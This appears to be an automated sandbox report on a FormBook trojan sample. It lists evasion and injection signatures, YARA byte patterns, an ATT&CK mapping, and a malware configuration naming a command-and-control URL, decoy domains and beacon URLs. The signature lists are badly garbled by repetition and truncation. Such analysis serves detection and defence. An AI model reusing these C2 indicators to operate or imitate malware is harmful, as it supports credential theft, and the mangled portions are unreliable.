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Analysis Report SKlGhwkzTi

Overview

General Information

Sample 
Name:

SKlGhwkzTi (renamed file 
extension from none to 
exe)

Analysis ID: 432735

MD5: 8252e0bd8e5792…

SHA1: 242c3feb78e57de…

SHA256: 21b3aba425cfa96…

Tags: exe trojan

Infos:

Most interesting Screenshot:

Detection

FormBookFormBook

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through Malicious sample detected (through ……

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for domaMulti AV Scanner detection for doma……

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.Snort IDS alert for network traffic (e.……

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networSystem process connects to networ……

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3Yara detected AntiVM3

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBookYara detected FormBook

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware conC2 URLs / IPs found in malware con……

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proceInjects a PE file into a foreign proce……

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into anMaps a DLL or memory area into an……

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in aModifies the context of a thread in a……

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process Queues an APC in another process ……

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing techSample uses process hollowing tech……

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and otherTries to detect sandboxes and other……

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization throughTries to detect virtualization through……

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is beinChecks if the current process is bein……

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution Contains functionality for execution ……

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access loadContains functionality to access load……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEBContains functionality to read the PEB

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)Contains long sleeps (>= 3 min)

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likelyFound inlined nop instructions (likely……

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / aFound potential string decryption / a……

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user HTTP GET or POST without a user ……

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with oIP address seen in connection with o……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resourcesPE file contains strange resources

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (namQueries the volume information (nam……

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proceSample execution stops while proce……

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original Sample file is different than original ……

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE filesUses 32bit PE files

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature matchYara signature match

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

SKlGhwkzTi.exe (PID: 6896 cmdline: 'C:\Users\user\Desktop\SKlGhwkzTi.exe'  MD5: 8252E0BD8E579259CC18CEAE0C5C6D64)

SKlGhwkzTi.exe (PID: 4484 cmdline: C:\Users\user\Desktop\SKlGhwkzTi.exe MD5: 8252E0BD8E579259CC18CEAE0C5C6D64)

explorer.exe (PID: 3424 cmdline:  MD5: AD5296B280E8F522A8A897C96BAB0E1D)

help.exe (PID: 6296 cmdline: C:\Windows\SysWOW64\help.exe MD5: 09A715036F14D3632AD03B52D1DA6BFF)

cmd.exe (PID: 7140 cmdline: /c del 'C:\Users\user\Desktop\SKlGhwkzTi.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Process Tree

Malware Configuration

Threatname: FormBook
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{

  "C2 list": [

    "www.adultpeace.com/p2io/"

  ],

  "decoy": [

    "essentiallyourscandles.com",

    "cleanxcare.com",

    "bigplatesmallwallet.com",

    "iotcloud.technology",

    "dmgt4m2g8y2uh.net",

    "malcorinmobiliaria.com",

    "thriveglucose.com",

    "fuhaitongxin.com",

    "magetu.info",

    "pyithuhluttaw.net",

    "myfavbutik.com",

    "xzklrhy.com",

    "anewdistraction.com",

    "mercuryaid.net",

    "thesoulrevitalist.com",

    "swayam-moj.com",

    "liminaltechnology.com",

    "lucytime.com",

    "alfenas.info",

    "carmelodesign.com",

    "newmopeds.com",

    "cyrilgraze.com",

    "ruhexuangou.com",

    "trendbold.com",

    "centergolosinas.com",

    "leonardocarrillo.com",

    "advancedaccessapplications.com",

    "aideliveryrobot.com",

    "defenestration.world",

    "zgcbw.net",

    "shopihy.com",

    "3cheer.com",

    "untylservice.com",

    "totally-seo.com",

    "cmannouncements.com",

    "tpcgzwlpyggm.mobi",

    "hfjxhs.com",

    "balloon-artists.com",

    "vectoroutlines.com",

    "boogerstv.com",

    "procircleacademy.com",

    "tricqr.com",

    "hazard-protection.com",

    "buylocalclub.info",

    "m678.xyz",

    "hiddenwholesale.com",

    "ololmychartlogin.com",

    "redudiban.com",

    "brunoecatarina.com",

    "69-1hn7uc.net",

    "zmzcrossrt.xyz",

    "dreamcashbuyers.com",

    "yunlimall.com",

    "jonathan-mandt.com",

    "painhut.com",

    "pandemisorgugirisi-tr.com",

    "sonderbach.net",

    "kce0728com.net",

    "austinpavingcompany.com",

    "biztekno.com",

    "rodriggi.com",

    "micheldrake.com",

    "foxwaybrasil.com",

    "a3i7ufz4pt3.net"

  ]

}

Source Rule Description Author Strings

00000004.00000002.761631200.0000000000400000.00000
040.00000001.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

Yara Overview

Memory Dumps
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00000004.00000002.761631200.0000000000400000.00000
040.00000001.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

00000004.00000002.761631200.0000000000400000.00000
040.00000001.sdmp

Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x166a9:$sqlite3step: 68 34 1C 7B E1
0x167bc:$sqlite3step: 68 34 1C 7B E1
0x166d8:$sqlite3text: 68 38 2A 90 C5
0x167fd:$sqlite3text: 68 38 2A 90 C5
0x166eb:$sqlite3blob: 68 53 D8 7F 8C
0x16813:$sqlite3blob: 68 53 D8 7F 8C

0000000D.00000002.918580029.000000000351
0000.00000040.00000001.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

0000000D.00000002.918580029.000000000351
0000.00000040.00000001.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 21 entries

Source Rule Description Author Strings

Source Rule Description Author Strings

4.2.SKlGhwkzTi.exe.400000.0.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

4.2.SKlGhwkzTi.exe.400000.0.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x77e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x7b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x13885:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x13371:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x13987:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x13aff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x858a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x125ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9302:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x18977:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x19a1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

4.2.SKlGhwkzTi.exe.400000.0.unpack Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x158a9:$sqlite3step: 68 34 1C 7B E1
0x159bc:$sqlite3step: 68 34 1C 7B E1
0x158d8:$sqlite3text: 68 38 2A 90 C5
0x159fd:$sqlite3text: 68 38 2A 90 C5
0x158eb:$sqlite3blob: 68 53 D8 7F 8C
0x15a13:$sqlite3blob: 68 53 D8 7F 8C

4.2.SKlGhwkzTi.exe.400000.0.raw.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

4.2.SKlGhwkzTi.exe.400000.0.raw.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 10 entries

Unpacked PEs
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Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

AV Detection:

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected FormBook

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

C2 URLs / IPs found in malware configuration

E-Banking Fraud:

Yara detected FormBook

System Summary:

Malicious sample detected (through community Yara rule)

Malware Analysis System Evasion:

Yara detected AntiVM3

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Injects a PE file into a foreign processes

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality:

Yara detected FormBook
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Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Network
Effects

Valid
Accounts

Command
and Scripting
Interpreter 2

Path
Interception

Process
Injection 6 1 2

Masquerading 1 OS
Credential
Dumping

Security Software
Discovery 2 2 1

Remote
Services

Archive
Collected
Data 1

Exfiltration
Over Other
Network
Medium

Encrypted
Channel 1

Eavesdrop on
Insecure
Network
Communication

Default
Accounts

Shared
Modules 1

Boot or
Logon
Initialization
Scripts

Boot or Logon
Initialization
Scripts

Disable or Modify
Tools 1

LSASS
Memory

Process Discovery 2 Remote
Desktop
Protocol

Data from
Removable
Media

Exfiltration
Over
Bluetooth

Ingress Tool
Transfer 1

Exploit SS7 to
Redirect Phone
Calls/SMS

Domain
Accounts

At (Linux) Logon Script
(Windows)

Logon Script
(Windows)

Virtualization/Sandbox
Evasion 3 1

Security
Account
Manager

Virtualization/Sandbox
Evasion 3 1

SMB/Windows
Admin Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

Non-
Application
Layer
Protocol 2

Exploit SS7 to
Track Device
Location

Local
Accounts

At (Windows) Logon Script
(Mac)

Logon Script
(Mac)

Process
Injection 6 1 2

NTDS Remote System
Discovery 1

Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Application
Layer
Protocol 1 2

SIM Card
Swap

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

Deobfuscate/Decode
Files or Information 1

LSA
Secrets

System Information
Discovery 1 1 2

SSH Keylogging Data
Transfer
Size Limits

Fallback
Channels

Manipulate
Device
Communication

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Obfuscated Files or
Information 4

Cached
Domain
Credentials

System Owner/User
Discovery

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communication

Jamming or
Denial of
Service

External
Remote
Services

Scheduled
Task

Startup
Items

Startup Items Software Packing 3 DCSync Network Sniffing Windows
Remote
Management

Web Portal
Capture

Exfiltration
Over
Alternative
Protocol

Commonly
Used Port

Rogue Wi-Fi
Access Points

Behavior Graph
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Behavior Graph

ID: 432735

Sample: SKlGhwkzTi

Startdate: 10/06/2021

Architecture: WINDOWS

Score: 100

www.adultpeace.com adultpeace.com

Snort IDS alert for
network traffic (e.g.

based on Emerging Threat
rules)

Multi AV Scanner detection
for domain / URL Found malware configuration 6 other signatures

SKlGhwkzTi.exe

3

        started       

C:\Users\user\AppData\...\SKlGhwkzTi.exe.log, ASCII

dropped

Tries to detect virtualization
through RDTSC time measurements

Injects a PE file into
a foreign processes

SKlGhwkzTi.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Sample uses process
hollowing technique

Queues an APC in another
process (thread injection)

help.exe

        started       

explorer.exe

injected

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Tries to detect virtualization
through RDTSC time measurements

cmd.exe

1

        started       

www.69-1hn7uc.net

163.43.122.119, 49769, 80

SAKURA-BSAKURAInternetIncJP

Japan

biztekno.com

151.106.118.75, 49768, 80

PLUSSERVER-ASN1DE

Germany

10 other IPs or domains

System process connects
to network (likely due
to code injection or

exploit)

conhost.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots
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Source Detection Scanner Label Link

SKlGhwkzTi.exe 31% Virustotal Browse

SKlGhwkzTi.exe 41% ReversingLabs ByteCode-
MSIL.Trojan.AgentTesla

No Antivirus matches

Source Detection Scanner Label Link Download

4.2.SKlGhwkzTi.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

4.0.SKlGhwkzTi.exe.400000.1.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

Source Detection Scanner Label Link

biztekno.com 1% Virustotal Browse

adultpeace.com 7% Virustotal Browse

www.69-1hn7uc.net 1% Virustotal Browse

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains
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https://www.virustotal.com/gui/file/21b3aba425cfa96bd3c5db2b306591a3a2aa1c8ee6fbdeddfdf60b5e1c0df0ea/detection/f-21b3aba425cfa96bd3c5db2b306591a3a2aa1c8ee6fbdeddfdf60b5e1c0df0ea-1623325654
https://www.virustotal.com/gui/url/a6014db8e7d0901c016f3f78ac3969696a3392368ec6512d4d2729b5c5d6d114/detection/u-a6014db8e7d0901c016f3f78ac3969696a3392368ec6512d4d2729b5c5d6d114-1623084434
https://www.virustotal.com/gui/url/336294e9f2c6393572121a25d0ebf12623498d35bcf5337722c1873283ea2ce7/detection/u-336294e9f2c6393572121a25d0ebf12623498d35bcf5337722c1873283ea2ce7-1623333783
https://www.virustotal.com/gui/url/932b3c798ef42658c5664d8456903823730381b65ca3bf1154b8413dc8b860f8/detection/u-932b3c798ef42658c5664d8456903823730381b65ca3bf1154b8413dc8b860f8-1622613367


Source Detection Scanner Label Link

www.founder.com.cn/cn/bThe 0% URL Reputation safe

www.founder.com.cn/cn/bThe 0% URL Reputation safe

www.founder.com.cn/cn/bThe 0% URL Reputation safe

www.tiro.com 0% URL Reputation safe

www.tiro.com 0% URL Reputation safe

www.tiro.com 0% URL Reputation safe

www.goodfont.co.kr 0% URL Reputation safe

www.goodfont.co.kr 0% URL Reputation safe

www.goodfont.co.kr 0% URL Reputation safe

www.biztekno.com/p2io/?
xN6x=IctutJlD1KzdQk/q9eJAOxuhjWEnlD6jXMe1IpO47rzJ4yHlcjfL6JMqKvIaYl5lDyXZ&YluDM=Ofc4YV0
pThsp

0% Avira URL Cloud safe

https://www.cyrilgraze.com/p2io/?xN6x=PONkgH6MO5ViG 0% Avira URL Cloud safe

www.cyrilgraze.com/p2io/?
xN6x=PONkgH6MO5ViG+zjbj4YyU3gBn/U0y1OFStIgCLmvXYcYHdxqE5/6Lr2O25ts36CozLG&YluDM=
Ofc4YV0pThsp

0% Avira URL Cloud safe

www.carterandcone.coml 0% URL Reputation safe

www.carterandcone.coml 0% URL Reputation safe

www.carterandcone.coml 0% URL Reputation safe

www.sajatypeworks.com 0% URL Reputation safe

www.sajatypeworks.com 0% URL Reputation safe

www.sajatypeworks.com 0% URL Reputation safe

www.typography.netD 0% URL Reputation safe

www.typography.netD 0% URL Reputation safe

www.typography.netD 0% URL Reputation safe

www.adultpeace.com/p2io/ 0% URL Reputation safe

www.adultpeace.com/p2io/ 0% URL Reputation safe

www.adultpeace.com/p2io/ 0% URL Reputation safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

fontfabrik.com 0% URL Reputation safe

fontfabrik.com 0% URL Reputation safe

fontfabrik.com 0% URL Reputation safe

www.founder.com.cn/cn 0% URL Reputation safe

www.founder.com.cn/cn 0% URL Reputation safe

www.founder.com.cn/cn 0% URL Reputation safe

www.hiddenwholesale.com/p2io/?
xN6x=es7Y2j6d/8vbylETtmEK+cycNhd4T49F/A456A8m/a4HPEjAATL8KRpgCeYlIlfO3VWH&YluDM=Ofc
4YV0pThsp

0% Avira URL Cloud safe

www.cleanxcare.com/p2io/?
xN6x=pxlxKDN0Rvw8YUTnsB4Bv4ohCC0AYWvU81fxb+r9dLiNjjqdMXiyL1Lf04YLJeQ+Gz7y&YluDM=Of
c4YV0pThsp

0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/ 0% URL Reputation safe

www.jiyu-kobo.co.jp/ 0% URL Reputation safe

www.jiyu-kobo.co.jp/ 0% URL Reputation safe

www.galapagosdesign.com/DPlease 0% URL Reputation safe

www.galapagosdesign.com/DPlease 0% URL Reputation safe

www.galapagosdesign.com/DPlease 0% URL Reputation safe

www.%s.comPA 0% URL Reputation safe

www.%s.comPA 0% URL Reputation safe

www.%s.comPA 0% URL Reputation safe

www.sandoll.co.kr 0% URL Reputation safe

www.sandoll.co.kr 0% URL Reputation safe

www.sandoll.co.kr 0% URL Reputation safe

www.urwpp.deDPlease 0% URL Reputation safe

www.urwpp.deDPlease 0% URL Reputation safe

www.urwpp.deDPlease 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

URLs
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www.anewdistraction.com/p2io/?
xN6x=ia0dgIkdnBZILDuo3zp8eo0tNiPxoXJfkPpt6P05AAGh3ZPzSagLTNX+xDwAHOv6iOkY&YluDM=Of
c4YV0pThsp

0% Avira URL Cloud safe

www.sakkal.com 0% URL Reputation safe

www.sakkal.com 0% URL Reputation safe

www.sakkal.com 0% URL Reputation safe

Source Detection Scanner Label Link

Name IP Active Malicious Antivirus Detection Reputation

biztekno.com 151.106.118.75 true true 1%, Virustotal, Browse unknown

adultpeace.com 163.44.239.73 true true 7%, Virustotal, Browse unknown

www.69-1hn7uc.net 163.43.122.119 true true 1%, Virustotal, Browse unknown

www.cyrilgraze.com 104.21.65.7 true true unknown

cleanxcare.com 78.31.67.91 true true unknown

centergolosinas.com 192.169.223.13 true true unknown

pixie.porkbun.com 44.227.65.245 true false high

ext-sq.squarespace.com 198.185.159.144 true false high

www.hiddenwholesale.com unknown unknown true unknown

www.cleanxcare.com unknown unknown true unknown

www.anewdistraction.com unknown unknown true unknown

www.biztekno.com unknown unknown true unknown

www.centergolosinas.com unknown unknown true unknown

www.adultpeace.com unknown unknown true unknown

Name Malicious Antivirus Detection Reputation

www.biztekno.com/p2io/?
xN6x=IctutJlD1KzdQk/q9eJAOxuhjWEnlD6jXMe1IpO47rzJ4yHlcjfL6JMqKvIaYl5lDyXZ&YluD
M=Ofc4YV0pThsp

true Avira URL Cloud: safe unknown

www.cyrilgraze.com/p2io/?
xN6x=PONkgH6MO5ViG+zjbj4YyU3gBn/U0y1OFStIgCLmvXYcYHdxqE5/6Lr2O25ts36CozLG
&YluDM=Ofc4YV0pThsp

true Avira URL Cloud: safe unknown

www.adultpeace.com/p2io/ true URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

low

www.hiddenwholesale.com/p2io/?
xN6x=es7Y2j6d/8vbylETtmEK+cycNhd4T49F/A456A8m/a4HPEjAATL8KRpgCeYlIlfO3VWH&
YluDM=Ofc4YV0pThsp

true Avira URL Cloud: safe unknown

www.cleanxcare.com/p2io/?
xN6x=pxlxKDN0Rvw8YUTnsB4Bv4ohCC0AYWvU81fxb+r9dLiNjjqdMXiyL1Lf04YLJeQ+Gz7y
&YluDM=Ofc4YV0pThsp

true Avira URL Cloud: safe unknown

www.anewdistraction.com/p2io/?
xN6x=ia0dgIkdnBZILDuo3zp8eo0tNiPxoXJfkPpt6P05AAGh3ZPzSagLTNX+xDwAHOv6iOkY&
YluDM=Ofc4YV0pThsp

true Avira URL Cloud: safe unknown

IP Domain Country Flag ASN ASN Name Malicious

104.21.65.7 www.cyrilgraze.com United States 13335 CLOUDFLARENETUS true

198.185.159.144 ext-sq.squarespace.com United States 53831 SQUARESPACEUS false

151.106.118.75 biztekno.com Germany 61157 PLUSSERVER-ASN1DE true

163.43.122.119 www.69-1hn7uc.net Japan 9370 SAKURA-
BSAKURAInternetIncJP

true

44.227.65.245 pixie.porkbun.com United States 16509 AMAZON-02US false

78.31.67.91 cleanxcare.com Germany 24961 MYLOC-
ASIPBackboneofmyLocman
agedITAGDE

true

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public
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https://www.virustotal.com/gui/url/a6014db8e7d0901c016f3f78ac3969696a3392368ec6512d4d2729b5c5d6d114/detection/u-a6014db8e7d0901c016f3f78ac3969696a3392368ec6512d4d2729b5c5d6d114-1623084434
https://www.virustotal.com/gui/url/336294e9f2c6393572121a25d0ebf12623498d35bcf5337722c1873283ea2ce7/detection/u-336294e9f2c6393572121a25d0ebf12623498d35bcf5337722c1873283ea2ce7-1623333783
